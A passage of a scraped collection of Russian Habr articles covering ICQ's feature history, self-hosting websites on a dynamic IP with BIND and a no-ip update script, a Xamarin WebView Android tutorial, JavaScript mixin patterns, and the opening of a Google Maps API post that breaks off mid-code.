Июль 2016 — появилась функция «Истории». Теперь можно делать крохотные видеоролики или подборки фотографий, которые ваши друзья и подписчики могут посмотреть в общей ленте в течение 24 часов после создания. Естественно, доступны репосты и комментарии.
В августе 2016 в Аське появился встроенный редактор, позволяющий добавлять различные эффекты в фотографии и видеоролики, включая тексты, узоры и стикеры. Более того, программа анализирует координаты при съёмке, и сама предлагает вариант тематического бейджа.
Также, впервые среди мессенджеров, ICQ интегрировали с нейросетями, которые позволяют в один клик обработать снятую фотографию в одном из пары десятков изобразительных стилей. Эта функциональность реализована с помощью API [мобильного приложения Vinci](https://play.google.com/store/apps/details?id=io.vinci.android).
В сентябре этого года появилась функция наложения двух- и трёхмерных масок при общении в видеочате. Приложение в реальном времени анализирует изображение с вашей камеры и налету адаптирует маску под положение головы и мимику. За распознавание лиц отвечает технология компании [VisionLabs](http://www.visionlabs.ru/).
**gif**
Наконец, свежайшие новости из мира технологий ICQ: нейросети теперь позволяют обрабатывать не только фото, но и снятые вами видео. Это делается с помощью интеграции с одним нашим небезызвестным [сервисом Artisto](https://ru.wikipedia.org/wiki/Artisto).
Помимо всего перечисленного, на сегодняшний день в ICQ реализованы:
* сквозная история переписки: все ваши сообщения доступны на всех устройствах и клиентах, куда вы залогинитесь;
* неограниченные лайвчаты: вы можете создать или присоединиться к любому публичному чату, количество участников в них неограничено;
* короткие голосовые сообщения с преобразованием в текст: вы можете сказать Аське какую-нибудь фразу, она её распознает и преобразует в текстовое сообщение, в основе этой функции лежит та же технология, что и в Siri.
Таков краткий обзор возможностей и технологий за 20 лет развития одного из первых в мире массовых мессенджеров. Надеемся, что ещё через 20 лет мы будем вспоминать что-нибудь совсем фантастическое. | https://habr.com/ru/post/315318/ | null | ru | null |
# Домашний хостинг сайтов с динамическим IP
У меня (как и у многих web-разработчиков) имеется с десяток сайтов которые необходимо где-то размещать (хостить).
Сайты практически не приносят прибыли, поскольку это какие-то старые работы (по разным причинам не пошедшие в продакшн), домашняя страница, сайт заведенный красивой почты и тому подобное. Но в то же время эти сайты жалко бросать, а потому приходится каждый месяц на них тратить вполне реальные деньги чтобы покупать хостинг. Деньги, прямо скажем небольшие, но тем не менее их жалко, поскольку отдачи от сайтов никакой нет.
В то-же время в наличии имеется:
* Домашний сервер на Ubuntu
* Быстрый ethernet-интернет от МТС
Но не имеется ключевого — статического IP. Если бы он был, то все было-бы намного проще и данную статью я бы точно не писал. А выдавать статический IP мой МТС абсолютно не желает (если только я не подключусь как бизнес-клиент).
Разумеется есть всем известные Dynamic DNS сервисы вроде [noip.com](http://noip.com), но они успешно решают лишь задачу удаленного доступа к нашему серверу (по SSH или FTP), но для хостинга совершенно нам не подходят, поскольку в настройках домена на DNS-сервере нам нужно обязательно прописать A-запись с реальным IP-адресом (а не ссылку на наш виртуальный домен).
Что делать?
-----------
Я не буду останавливаться на том, как настроить linux сервер (и тем более как его выбрать), поскольку предполагаю, что он у вас уже есть. Также я не буду подробно расписывать настройки nginx и Apache, поскольку опять-таки предполагаю, что вы с этим справитесь самостоятельно.
Первое с чем у меня возникли проблемы — это как перенаправить посетителей с моих доменов (у меня есть 2 домена) на мой домашний сервер. То есть чтобы клиент который набрал domain.com попал ровно на мой домашний сервер с учетом того, что на нем каждый день меняется IP-адрес.
Для решения нам нужно настроить DNS-сервер, а именно следующие записи: SOA, NS, MX, A, CNAME. Важно чтобы мы имели возможность настройкой TTL (time to live), поскольку время жизни наших записей должно быть очень небольшим, буквально 60-120 секунд. В противном случае при смене IP-адреса сервера пользователи долго не смогут попасть на наш сервер (из-за кеширования).
Итак, нам нужен DNS сервер, варианты решения:
1. Используем сервисы которые предоставляют нам DNS-хостинг
2. Используем собственный DNS-сервер в связке с DDNS-доменом
Рассмотрим оба варианта.
### Используем сервисы которые предоставляют нам DNS-хостинг
Для этого есть ряд бесплатных сервисов, из которых самым популярным является [freedns.afraid.org](http://freedns.afraid.org). На таких сервисах можно добавить свой домен(ы) и получить возможность через API обновлять у них A-запись при помощи небольшого скрипта.
Выглядит вполне неплохо, но подвох в том, что эти сервисы оставляют за собой право довешивать к вашему домену поддомены третьего уровня. То есть вы зарегистрировали у них user.ru, а они спокойно довешают свои сайты вида hello.user.ru, shop.user.ru и так далее. Разумеется от этого можно отказаться, но… за деньги. Платить деньги за такие сервисы смысла я не вижу, поскольку за сравнимые деньги вы можете купить полноценный хостинг на каком-нибудь провайдере без всяких плясок вокруг DNS настроек.
Остальные сервисы рассматривать не будем, а сосредоточимся на втором варианте.
### Используем собственный DNS-сервер в связке с DDNS-доменом
Для этого варианта у нас, во-первых, должен быть DDNS-домен (который обновляется при смене IP), например, domain.ddns.net, а во-вторых, придется установить и настроить BIND на нашем сервере.
Всего необходимо сделать ровно 5 шагов. Везде под словами «domain» или «domain.ru» подразумевается ваше имя домена (короткое или полное).
##### 1. Настроить 2 или 3 DDNS-поддомена
Почему 2 или 3? Потому, что ряд регистрантов не разрешит вам использовать домен только с одним NS-сервером. Самое обидно, что не все про это скажут — ваш домен просто не будет работать, но вы не будете понимать почему.
Тут все просто — идем на [noip.com](http://noip.com), там регистрируем аккаунт и добавляем 3 бесплатных поддомена (больше 3 не даст).
##### 2. Настраиваем собственный DNS-сервер
Устанавливаем BIND:
```
$ sudo apt-get install bind9
```
Создаем зоны (по одной зоне на каждый наш домен):
```
$ sudo nano /etc/bind/zones.my
```
с содержимым:
```
zone "domain.ru" {
type master;
file "/etc/bind/db.domain.ru";
};
```
и собственно файл с настройками зоны:
```
$ nano /etc/bind/db.domain.ru
```
и пишем внутри:
```
;
; BIND data file for local loopback interface
;
$TTL 60
@ IN SOA domain.ru. admin.domain.ru. (
1477015437 ; Serial
10800 ; Refresh
3600 ; Retry
604800 ; Expire
1800 ) ; Negative Cache TTL
@ IN NS domain.ddns.net.
@ IN NS domain.ddnsking.com.
@ IN NS domain.myftp.biz.
@ IN MX 10 mx.yandex.net.
@ IN A 1.2.3.4
mail IN CNAME domain.mail.yandex.net.
* IN CNAME domain.ru.
```
Примечание: обращаю внимание, что TTL устанавливаем равным 60 секунд. В файле /etc/bind/named.conf.local добавляем подключение нашей зоны:
```
include "/etc/bind/zones.my";
```
Все, рестартуем BIND:
```
$ sudo service bind9 restart
```
И глянем /var/log/syslog чтобы там не было сообщений об ошибках
##### 3. Настроить наш домен(ы)
Идем в панель управления регистратора и там в настройках нашего домена в качестве NS-серверов указываем созданные DDNS-поддомены:
```
nameserver1 = domain.ddns.net
nameserver2 = domain.ddnsking.com
nameserver3 = domain.myftp.biz
```
После этого возможно придется подождать несколько часов (или даже сутки) пока настройки среплицируются между всеми серверами.
##### 4. Настроить периодическое обновление IP-адресов
Мой роутер поддерживает обновление IP-адреса на одном домене, но мне нужно это делать сразу для 3-х доменов. Плюс нам надо обновлять IP-адрес в конфиге BIND'а, поэтому напишем скрипт который будет делать:
1. Определять наш внешний IP-адрес
2. Проверять изменился ли IP адрес, если не изменился, то ничего делать не надо
3. Обновлять IP-адрес у всех DDNS-поддоменов через API сервиса noip.com
4. Прописывать новый IP адрес в конфиг BIND'а
5. Перезапускать BIND
Сам скрипт пусть будет на шелле:
```
#!/bin/sh
# This script works via noip.com service + local Bind server
# Settings
ZONES_CONFIG=zones.my
IP_FILE=./current_ip.txt
DDNS_USER=user
DDNS_PASS=password
DDNS_HOST=domain.ddns.net
DDNS_HOSTS=domain.ddns.net,domain.ddnsking.com,domain.myftp.biz
# Start
DATE=$(date +"%Y-%m-%d %H:%M:%S")
# detect an external IP
IP=$(dig +short $DDNS_HOST)
if [ $? -ne 0 ] || [ -z $IP ] || [ $IP = "0.0.0.0" ] ; then
echo "$DATE Can't detect a remote IP. Aborting."
exit 1
fi
# verify IP changing
PREV_IP="(unknown)"
if [ -e $IP_FILE ] ; then
PREV_IP=$(cat $IP_FILE)
fi
if [ $IP = $PREV_IP ] ; then
echo "$DATE IP '$IP' has not changed"
else
echo "$DATE IP has been changed from '$PREV_IP' to '$IP'"
echo "$DATE IP will be updated on DDNS server"
/usr/bin/curl -u $DDNS_USER:$DDNS_PASS "https://dynupdate.no-ip.com/nic/update?hostname=$DDNS_HOSTS&myip=$IP"
fi
echo $IP > $IP_FILE
# check BIND config
cd /etc/bind
if [ ! -e $ZONES_CONFIG ] ; then
echo "$DATE File $ZONES_CONFIG not found!"
exit 1
fi
# read the list of active zones
ZONE_FILES=$(grep file $ZONES_CONFIG | grep -v ^# | perl -ne '/file "(.+)"/ && print "$1\n"')
for ZONE_FILE in $ZONE_FILES; do
echo "$DATE Process the zone config $ZONE_FILE"
cat $ZONE_FILE | perl -ne "s/([\t ]+IN[\t ]+A[\t ]+)[\d\.]*/\${1}${IP}/; print \${_}" > $ZONE_FILE.tmp
if [ $(diff -w $ZONE_FILE $ZONE_FILE.tmp | wc -l) -ne 0 ] ; then
# update serial number
STAMP=$(date +%s)
cat $ZONE_FILE.tmp | perl -ne "s/\d+(?=.+Serial)/$STAMP/; print \${_}" > $ZONE_FILE
# reload BIND
service bind9 reload
echo "$DATE Config $ZONE_FILE is updated"
else
# nothing to do
rm $ZONE_FILE.tmp
echo "$DATE Config $ZONE_FILE is NOT changed"
fi
done
```
Скрипт нужно запускать под рутом (чтобы ему хватило прав обновлять конфиги BIND'а и рестартовать его). Добавляем в crontab рута его запуск каждую минуту:
```
* * * * * cd /home/root && ./update_bind_config.sh >> /var/log/update_bind_config.log
```
Пару слов про определение текущего IP-адреса. В скрипте выше это делается через резолвинг DDNS-поддомена domain.ddns.net. То есть сначала наш роутер его туда прописывает, а потом мы читаем. Это не очень хороший вариант, поскольку мы завязываемся на роутер и можем потерять несколько минут пока на DDNS-поддомене обновится IP-адрес на актуальный. Все это время наш сервер будет недоступен.
Поэтому у себя я использовал улучшенный вариант, который заодно не лазит в интернет:
```
IP=$(perl -le 'use LWP::UserAgent; my $content=LWP::UserAgent->new->get("http://router")->decoded_content(); $content =~ q(([\d\.]+)); print $1')
```
В данном варианте мы загружаем главную страницу роутера (через http), дальше регэкспом находим на ней текущий IP-адрес. Разумеется, этот вариант подходит далеко не всем, но на DD-WRT прошивках работает.
##### 5. Настройка роутера
Про необходимость настроить обращение к DDNS-сервису я уже писал, но еще не забывайте про необходимость настроить форвардинг портов на вашем роутере:
* HTTP — TCP, 80-ый порт
* DNS — TCP+UDP, 53 порт
Вывод
=====
Итак, что я получил в итоге:
* Мои сайты живут на домашнем сервере, за который я никому не плачу;
* Мои домены резолвятся через мой собственный DNS-сервер, время жизни записей 1 минута, то есть обновление происходит очень быстро;
* В качестве NS-записей указаны не реальные IP-адреса (которые у меня часто меняются), а DDNS-поддомены;
* Актуальность записей в DDNS-поддоменах и в конфиге моего DNS-сервера обеспечивается автоматически, без какого-либо вмешательства со моей стороны.
По моим замерам, когда МТС (мой провайдер) обновляет мне IP-адрес, то мои сайты начинают работать спустя где-то 2 минуты. Это вполне приемлемо для меня.
**P.S.** Если кому-то понравилась данная заметка, то я могу написать вторую часть, где расскажу как настроить работу с использованием DNS-хостинга Яндекса. Это позволит отказаться от собственного DNS-сервера, отказаться от DDNS-поддоменов, плюс чуть улучшит надежность работы (поскольку DNS-сервер никогда не будет менять свой IP). Именно такую схему я использую в настоящий момент. | https://habr.com/ru/post/313426/ | null | ru | null |
# Создаем приложение для ANDROID быстро и просто
[](https://habr.com/ru/company/ruvds/blog/558434/)
Сегодня я хотел бы поделиться с Вами, как быстро и просто можно создать приложение для Android с базовыми знаниями HTML CSS и JS. По данному примеру код на Java для Android будет минимальным. Благодаря платформе XAMARIN приложения для мобильных телефонов можно делать в Visual Studio.
**▍Шаг 1 -** Переходим на [сайт](https://visualstudio.microsoft.com/ru/downloads/) и Скачиваем бесплатную версию Community.
**▍Шаг 2 -** Запускаем установку и выбираем параметры. Нас интересует XAMARIN. Но Вы также можете выбрать другие параметры.
После успешной установки мы можем создать свой первый проект.
**▍Шаг 3 -** Запускаем Visual Studio. Создать проект. В фильтре пишем xamarin, платформа Android, язык c# (Если желаете другой язык можете его выбрать)
**▍Шаг 4 -** Далее. Указываете имя для своего приложения, выбираете каталог где его сохранить. Создать.
**▍Шаг 5 -** Указываем пустое приложение и выбираем минимальную версию андроида для запуска этого приложения.
**▍Шаг 6 -** Жмем ок. Visual Studio автоматически создает код для приложения
Мы можем его запустить в эмуляторе, который идет комплекте с Visual Studio нажав клавишу F5.
**▍Шаг 7 -** Теперь немного модифицируем код. В данном случае мы вообще не будем использовать Java. Так как мы будем кодить на C#.
Приводим код к такому виду. Здесь мы создаем WebView контейнер который будет грузить локальный HTML файл, который находится в проекте в папке Assets.
```
public class MainActivity : AppCompatActivity
{
WebView mWebview; //это контейнер для просмотра HTML
protected override void OnCreate(Bundle savedInstanceState)
{
base.OnCreate(savedInstanceState);
Xamarin.Essentials.Platform.Init(this, savedInstanceState);
mWebview = new WebView(this);
mWebview.Settings.JavaScriptEnabled = true; //это разрешение работа JS скриптов
mWebview.Settings.DomStorageEnabled = true; //это разрешение на запись в память браузера
mWebview.Settings.BuiltInZoomControls = true; //это разрешение на масштабирование пальцами щипком
mWebview.Settings.DisplayZoomControls = false; //это запрет вывода кнопок масштаба
mWebview.Settings.CacheMode = CacheModes.NoCache; //это отключает либо включает кэширование данных
mWebview.LoadUrl($"file:///android_asset/Content/login.html"); //это загрузка локального файла из папки Asset/Content
SetContentView(mWebview);
}
public override void OnRequestPermissionsResult(int requestCode, string[] permissions, [GeneratedEnum] Android.Content.PM.Permission[] grantResults)
{
Xamarin.Essentials.Platform.OnRequestPermissionsResult(requestCode, permissions, grantResults);
base.OnRequestPermissionsResult(requestCode, permissions, grantResults);
}
}
```
**▍Шаг 8 -** Создадим там папку Content.
**▍Шаг 9 -** Добавим в папку Content файл login.html
**▍Шаг 10 -** Далее уже пишем на привычном нам HTML CSS JS. Можем нажать на F5 и увидеть результат нашей работы.
По такому принципу можно создать приложение быстро и просто. Файлы html будут выглядеть одинаково на всех устройствах. То есть, Вы можете сделать приложения для Android и iOS с одинаковым интерфейсом. Не надо изучать сложные языки разметки, не надо изучать сложные макеты (сториборды) на iOS. Все можно сделать на HTML.
В идеале, вместо локальных файлов можно сделать загрузку со стороннего сайта. В этом случае Вы можете менять контент приложения без его обновления в AppStore и Google Play.
> **Q:** Но как быть с функциями самой платформы? Пуш сообщения? Как взаимодействовать с самой платформой?
Все очень просто! JavaScript можно использовать для вызова функций Android:
**▍Шаг 1 -** Немного модифицируем наш файл MainActivity
```
//добавляем интерфейс для javascript
mWebview.AddJavascriptInterface(new JavaScriptInterface(), "interface");
//
```
**▍Шаг 2 -** Далее создаем класс JavaScriptInterface на который будет ругаться Visual Studio
```
public class JavaScriptInterface : Java.Lang.Object
{
[JavascriptInterface]
[Export("alert")] //здесь мы указываем название функции вызываемой из html файла interface.alert('сообщение пользователю');
public void alert(string data)
{
Toast.MakeText(Application.Context, data, ToastLength.Short).Show();//здесь Андроид выведет сообщение посредством Toast
}
}
```
Мы видим, что теперь программа ругается на Export так как не знает что это такое.
**▍Шаг 3 -** Добавим нужную библиотеку
**▍Шаг 4 -** В фильтре напишем mono
**▍Шаг 5 -** Найдем Export и поставим галочку
**▍Шаг 6 -** Жмем ок и видим что ошибка пропала.
Так вы можете подключать библиотеки если вдруг Visual Studio ругается на что то.
```
Toast.MakeText(Application.Context, data, ToastLength.Short).Show();
```
Данная функция это показ всплывающей информации на экране. Она выполняется именно на платформе Андроида. То есть мы можем написать в HTML файле вызов функции Андроида. Получается полное дружелюбие двух платформ по JavaScript интерфейсу. Данные можно передавать туда сюда. Вызывать переход от одной активити в другую. Все через HTML + JavaScript.
Немного модифицируем файл login.htm:
```
h1 {
color: yellowgreen;
}
Привет мир
==========
Нажми меня
function sendToAndroid() {
//здесь мы запускаем функцию андроида из HTML файла по javacsript интерфейсу
interface.alert("текст сообщения");
}
```
**жмем F5**
Теперь при нажатии на кнопку HTML вызывается функция Toast андроида и выводиться сообщение пользователю.
Спасибо за внимание.
**P.s. Полный листинг MainActivity**
```
using Android.App;
using Android.OS;
using Android.Runtime;
using Android.Webkit;
using Android.Widget;
using AndroidX.AppCompat.App;
using Java.Interop;
namespace MyFirstApp
{
[Activity(Label = "@string/app_name", Theme = "@style/AppTheme", MainLauncher = true)]
public class MainActivity : AppCompatActivity
{
WebView mWebview; //это контейнер для просмотра HTML
protected override void OnCreate(Bundle savedInstanceState)
{
base.OnCreate(savedInstanceState);
Xamarin.Essentials.Platform.Init(this, savedInstanceState);
mWebview = new WebView(this);
mWebview.Settings.JavaScriptEnabled = true; //это разрешение работа JS скриптов
mWebview.Settings.DomStorageEnabled = true; //это разрешение на запись в память браузера
mWebview.Settings.BuiltInZoomControls = true; //это разрешение на масштабирование пальцами щипком
mWebview.Settings.DisplayZoomControls = false; //это запрет вывода кнопок масштаба
mWebview.Settings.CacheMode = CacheModes.NoCache; //это отключает либо включает кэширование данных
//добавляем интерфейс для javascript
mWebview.AddJavascriptInterface(new JavaScriptInterface(), "interface");
//
mWebview.LoadUrl($"file:///android_asset/Content/login.html"); //это загрузка локального файла из папки Asset/Content
SetContentView(mWebview);
}
public override void OnRequestPermissionsResult(int requestCode, string[] permissions, [GeneratedEnum] Android.Content.PM.Permission[] grantResults)
{
Xamarin.Essentials.Platform.OnRequestPermissionsResult(requestCode, permissions, grantResults);
base.OnRequestPermissionsResult(requestCode, permissions, grantResults);
}
}
public class JavaScriptInterface : Java.Lang.Object
{
[JavascriptInterface]
[Export("alert")]
public void alert(string data)
{
Toast.MakeText(Application.Context, data, ToastLength.Short).Show();
}
}
}
```
[](https://habr.com/ru/company/ruvds/blog/557204/)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=gintime&utm_content=sozdaem_prilozhenie_dlya_android_bystro_i_prosto) | https://habr.com/ru/post/558434/ | null | ru | null |
# Свежий взгляд на примеси в JavaScript
В этой статье я детально исследую примеси в JavaScript, и покажу менее общепринятую, но, на мой взгляд, более естественную стратегию «примешивания», которую, надеюсь, вы найдете полезной. Закончу я матрицей результатов профилирования, подводящей итог влиянию на производительность каждой техники. (Большое спасибо блистательному [@kitcambridge](https://twitter.com/kitcambridge) за ревью и улучшение кода, на котором основан этот пост!)
#### Повторное использование функций
В JavaScript каждый объект ссылается на объект-прототип, из которого он может наследовать свойства. Прототипы — отличные инструменты для повторного использования кода: один экземпляр прототипа может определять свойства бесконечного числа зависимых сущностей. Прототипы могут так же наследоваться от других прототипов, формируя, таким образом, цепочки прототипов, которые более-менее повторяют иерархии наследования «классовых» языков типа Java and C++. Многоэтажные иерархии наследования иногда бывают полезны при описании природного порядка вещей, но, если первичным мотивом служит повторное использование кода, такие иерархии могут быстро стать искривленными лабиринтами бессмысленных субклассов, утомительных избыточностей и неуправлямой логики («кнопка — это прямоугольник или контрол? Вот что, давайте унаследуем `Button` от `Rectangle`, а `Rectangle` может наследоваться от `Control`… так, стоп…»).
К счастью, когда дело доходит до повторного использования функций, JavaScript предлагает жизнеспособные альтернативы. В противоположность более жестко структурированным языкам, объекты в JavaScript могу вызывать любую публичную функцию независимо от родословной. Наиболее прямолинейный подход — делегирование; любая публичная функция может быть вызвана напрямую через `call` или `apply`. Это эффективная особенность, и я широко ее использую. Как бы то ни было, делегирование столь удобно, что иногда начинает работать против структурной дисциплины кода; более того, синтаксис может стать слегка многословным. Примеси — отличный компромисс, который позволяет заимствовать и иметь доступ к целым функциональным единицам с помощью минималистичного синтаксиса, и они отлично работают в одной упряжке с прототипами. Они предлагают описательную мощь иерархического наследования без мозголомных проблем, связанных с многоэтажным, восходящим к одному корню наследованием.
#### Основы
В программировании примесь — это класс, определяющий набор функций, относящихся к типу (например, `Person`, `Circle`, `Observer`). Примесные классы обычно считаются абстрактными в том смысле, что они не имеют экземпляров сами по себе — вместо этого их методы копируются (или «заимствуются») конкретными классами в качестве «наследования» поведения без вступления в формальные отношения с поставщиком поведения.
OK, но это JavaScript, и у нас нет классов. Это, на самом деле, хорошо, так как означает, что вместо этого мы можем использовать объекты (экземпляры), что дает ясность и гибкость: наши примеси могут быть обычным объектом, прототипом или функцией — в любом случае процесс «примешивания» становится прозрачным и очевидным.
#### Использование
Я намереваюсь обсудить несколько техник примесей, но все примеры кода сводятся к одному use-case: создание круглых, овальных или прямугольных кнопок. Вот схематичное представление (созданное с помощью последних hi-tech гаджетов). В прямоугольниках — примеси, в кружках — полноценные кнопки.
#### 1. Классические примеси
Проглядев две первые страницы выдачи гугла по запросу «javascript mixin», я заметил, что большинство авторов определяют обьекты примесей как полновесный тип с конструктором и методами, определенными в прототипе. Можно рассматривать это как естественный прогресс — ранее примеси были классами, и это самое близкое к классам, что есть в JS. Вот примесь круга, созданная в этом стиле:
```
var Circle = function() {};
Circle.prototype = {
area: function() {
return Math.PI * this.radius * this.radius;
},
grow: function() {
this.radius++;
},
shrink: function() {
this.radius--;
}
};
```
На практике, однако, такая тяжеловесная примесь излишня. Достаточно простого литерала обьекта:
```
var circleFns = {
area: function() {
return Math.PI * this.radius * this.radius;
},
grow: function() {
this.radius++;
},
shrink: function() {
this.radius--;
}
};
```
#### Функция extend
Как же такой объект-примесь примешивается к нашим объектам? С помощью функции `extend` (иногда она называется `augment`). Обычно `extend` просто копирует (но не клонирует) функции примеси в принимающий объект. Быстрый обзор показывает несколько небольших вариаций этой реализации. Например, Prototype.js пропускает проверку `hasOwnProperty` (предполагается, что примесь не имеет перечислимых свойств в цепочке прототипов), тогда как другие версии исходят из того, что вы хотите скопировать только свойства из прототипа примеси. Вот безопасный и гибкий вариант…
```
function extend(destination, source) {
for (var k in source) {
if (source.hasOwnProperty(k)) {
destination[k] = source[k];
}
}
return destination;
}
```
…который мы можем вызвать, чтобы расширить наш прототип…
```
var RoundButton = function(radius, label) {
this.radius = radius;
this.label = label;
};
extend(RoundButton.prototype, circleFns);
extend(RoundButton.prototype, buttonFns);
//etc. ...
```
#### 2. Функциональные примеси
Если функции, определенные в примесях, предназначены для использования только другими объектами, зачем вообще создавать примеси как объекты? Другими словами, примесь должна быть процессом, а не объектом. Логично было бы превратить наши примеси в функции, которые объекты внедряют сами в себя через делегирование. Тем самым отпадает нужда в посреднике — функции `extend`.
```
var asCircle = function() {
this.area = function() {
return Math.PI * this.radius * this.radius;
};
this.grow = function() {
this.radius++;
};
this.shrink = function() {
this.radius--;
};
return this;
};
var Circle = function(radius) {
this.radius = radius;
};
asCircle.call(Circle.prototype);
var circle1 = new Circle(5);
circle1.area(); //78.54
```
Такой подход выглядит правильным. Примеси как глаголы, а не существительные; легковесные универсальные магазинчики. Тут есть и другие вещи, которые могут понравится — стиль кода естественен и лаконичен: `this` всегда указывает на получателя наборов функции, а не на абстрактный объект, который нам не нужен и который мы не используем; более того, в противоположность традиционному подходу, нам не нужна защита от непреднамеренного копирования унаследованных свойств, и (что бы это ни означало) функции теперь клонируются, а не копируются.
Вот функция-примесь для кнопок:
```
var asButton = function() {
this.hover = function(bool) {
bool ? mylib.appendClass('hover') : mylib.removeClass('hover');
};
this.press = function(bool) {
bool ? mylib.appendClass('pressed') : mylib.removeClass('pressed');
};
this.fire = function() {
return this.action();
};
return this;
};
```
Берем две примеси вместе и получаем круглые кнопки:
```
var RoundButton = function(radius, label, action) {
this.radius = radius;
this.label = label;
this.action = action;
};
asButton.call(RoundButton.prototype);
asCircle.call(RoundButton.prototype);
var button1 = new RoundButton(4, 'yes!', function() {return 'you said yes!'});
button1.fire(); //'you said yes!'
```
#### 3. Добавляем опции
Стратегия с функциями так же позволяет параметризовать заимствованное поведение — путем передачи аргумента опций. Давайте посмотрим, как это работает, создав примесь `asOval` с настраиваемыми параметрами `grow` и `shrink`:
```
var asOval = function(options) {
this.area = function() {
return Math.PI * this.longRadius * this.shortRadius;
};
this.ratio = function() {
return this.longRadius/this.shortRadius;
};
this.grow = function() {
this.shortRadius += (options.growBy/this.ratio());
this.longRadius += options.growBy;
};
this.shrink = function() {
this.shortRadius -= (options.shrinkBy/this.ratio());
this.longRadius -= options.shrinkBy;
};
return this;
}
var OvalButton = function(longRadius, shortRadius, label, action) {
this.longRadius = longRadius;
this.shortRadius = shortRadius;
this.label = label;
this.action = action;
};
asButton.call(OvalButton.prototype);
asOval.call(OvalButton.prototype, {growBy: 2, shrinkBy: 2});
var button2 = new OvalButton(3, 2, 'send', function() {return 'message sent'});
button2.area(); //18.84955592153876
button2.grow();
button2.area(); //52.35987755982988
button2.fire(); //'message sent'
```
#### 4. Добавляем кэширование
Возможно, вас беспокоит, что такой подход ухудшает производительность, так как мы переопределяем одни и те же функции снова и снова при каждом вызове. С помощью такой отличной штуки, как [jsperf.com](http://jsperf.com/), я снял метрики всех стратегий примесей (результаты — в конце статьи). На удивление, в Chrome 12 производительность выше с использованием функционального подхода, тогда как в остальных браузерах такие примеси выполняются в два раза медленнее, чем классические. Принимая, что такие примеси скорее всего будут вызываться по одному разу на на каждый тип (а не при создании каждого экземпляра), это различие не должно играть существенной роли — учитывая, что речь идет о 26000 примесей в секунду даже в IE8!
На всякий случай, если такие цифры не дают спать по ночам вашему менеджеру, вот решение. Поместив примеси в замыкание, мы сможем закешировать результат определения, что сильно повлияет на производительность. Функциональные примеси теперь легко побивают классические по производительности во всех браузерах (в моих тестах порядка 20 раз в Chrome и порядка 13 в FF4). Опять же, это не так существенно, но оставляет приятное чувство:)
Вот версия `asRectangle` с добавлением кэширования…
```
var asRectangle = (function() {
function area() {
return this.length * this.width;
}
function grow() {
this.length++, this.width++;
}
function shrink() {
this.length--, this.width--;
}
return function() {
this.area = area;
this.grow = grow;
this.shrink = shrink;
return this;
};
})();
var RectangularButton = function(length, width, label, action) {
this.length = length;
this.width = width;
this.label = label;
this.action = action;
}
asButton.call(RectangularButton.prototype);
asRectangle.call(RectangularButton.prototype);
var button3 = new RectangularButton(4, 2, 'delete', function() {return 'deleted'});
button3.area(); //8
button3.grow();
button3.area(); //15
button3.fire(); //'deleted'
```
#### 5. Добавляем каррирование
В жизни все является результатом компромисса, и вышеупомянутое улучшение с помощью кеширования — не исключение. Мы потеряли возможность создавать настоящие клоны каждой примеси, и, более того, мы больше не можем кастомизировать заимствованные функции, передавая параметры. Последнюю проблему можно решить каррированием каждой закешированной функции — таким образом назначив параметры заранее, до последующих вызовов. Вот примесь `asRectangle` с правильно каррированными функциями, позволяющими параметризацию `grow` и `shrink`.
```
Function.prototype.curry = function() {
var fn = this;
var args = [].slice.call(arguments, 0);
return function() {
return fn.apply(this, args.concat([].slice.call(arguments, 0)));
};
}
var asRectangle = (function() {
function area() {
return this.length * this.width;
}
function grow(growBy) {
this.length += growBy, this.width +=growBy;
}
function shrink(shrinkBy) {
this.length -= shrinkBy, this.width -= shrinkBy;
}
return function(options) {
this.area = area;
this.grow = grow.curry(options['growBy']);
this.shrink = shrink.curry(options['shrinkBy']);
return this;
};
})();
asButton.call(RectangularButton.prototype);
asRectangle.call(RectangularButton.prototype, {growBy: 2, shrinkBy: 2});
var button4 = new RectangularButton(2, 1, 'add', function() {return 'added'});
button4.area(); //2
button4.grow();
button4.area(); //12
button4.fire(); //'added'
```
#### Метрики производительности
Как и было обещано, вот итоги [тестов jsperf](http://jsperf.com/mixin-fun/2), сведенные в таблицу по техникам и браузерам.
Результат выражен в тысячах операций в секунду, так что чем выше число, тем лучше.
*(Прим. переводчика: лучше посмотреть более свежие результаты непосредственно на jsperf.com; таблица из исходного поста приведена просто чтобы показать порядок цифр)*
#### Заключение
JavaScript — это сплав функций и состояния. Состояние обычно специфично для экземпляров, тогда как функции, скорее всего, будут общими. Возможно, в наших интересах разделить эти две базовые зоны ответственности, и, возможно, примеси помогут нам в этом.
В частности, паттерн функциональных примесей предлагает чистое разграничение. Объекты — это состояние, а функции организованы подобно гроздьям фруктов на дереве, созревших для сбора. На самом деле эта стратегия может быть расширена далеко за рамки примесей — наборы функций могут служить репозитарием для любого объекта.
```
var myCircle = asCircle.call({radius:25});
myCircle.area(); //1963.50
```
Удачи в изучении примесей, и не бойтесь присылать исправления и любой другой фидбэк! | https://habr.com/ru/post/147901/ | null | ru | null |
# Первое знакомство с Google Maps Javascript API
В данном посте я расскажу о своем опыте использования Google Maps JS API и его внедрение в мобильную версию сайта с весьма крупной посещаемостью.
Совсем недавно на работе пришлось столкнуться с реализацией модуля, рассчитанного на поиск пользователей сайта в пределах текущих координат посетителя (тематика сайта — знакомства, а не слежка, как можно подумать, ссылок и названий приводить не буду дабы не раскрывать тайны и не рекламироваться). Изначально я столкнулся с уже имевшейся реализацией модуля. Эта версия была написана год-два назад и применяла устаревшую версию API, так что когда я полез в документацию и попробовал что-то добавить к этому модулю — у меня, естественно, полезли ошибки.
Зарегистрировав бесплатный API Key я обновил используемую библиотеку и начал изучение справки.
Весьма порадовала возможность создания своих собственных элементов карты (Overlays), что, собственно, мне и пришлось сделать. Приведу пример использования этой возможности:
```
function TestOverlay(bounds) {
this._bounds = bounds;
}
TestOverlay.prototype = new GOverlay();
TestOverlay.prototype.initialize = function(map) {
var div = document.createElement("div");
div.style.border = "2px solid #888888";
div.style.position = "absolute";
map.getPane(G_MAP_MAP_PANE).appendChild(div);
this._map = map;
this._div = div;
}
TestOverlay.prototype.remove = function() {
this._div.parentNode.removeChild(this._div);
}
TestOverlay.prototype.copy = function() {
return new Rectangle(this._bounds);
}
TestOverlay.prototype.redraw = function(force) {
if (!force) return;
var c1 = this._map.fromLatLngToDivPixel(this._bounds.getSouthWest());
var c2 = this._map.fromLatLngToDivPixel(this._bounds.getNorthEast());
this._div.style.width = Math.abs(c2.x - c1.x) + "px";
this._div.style.height = Math.abs(c2.y - c1.y) + "px";
this._div.style.left = (Math.min(c2.x, c1.x) - 2) + "px";
this._div.style.top = (Math.min(c2.y, c1.y) - 2) + "px";
}
function initialize() {
if (GBrowserIsCompatible()) {
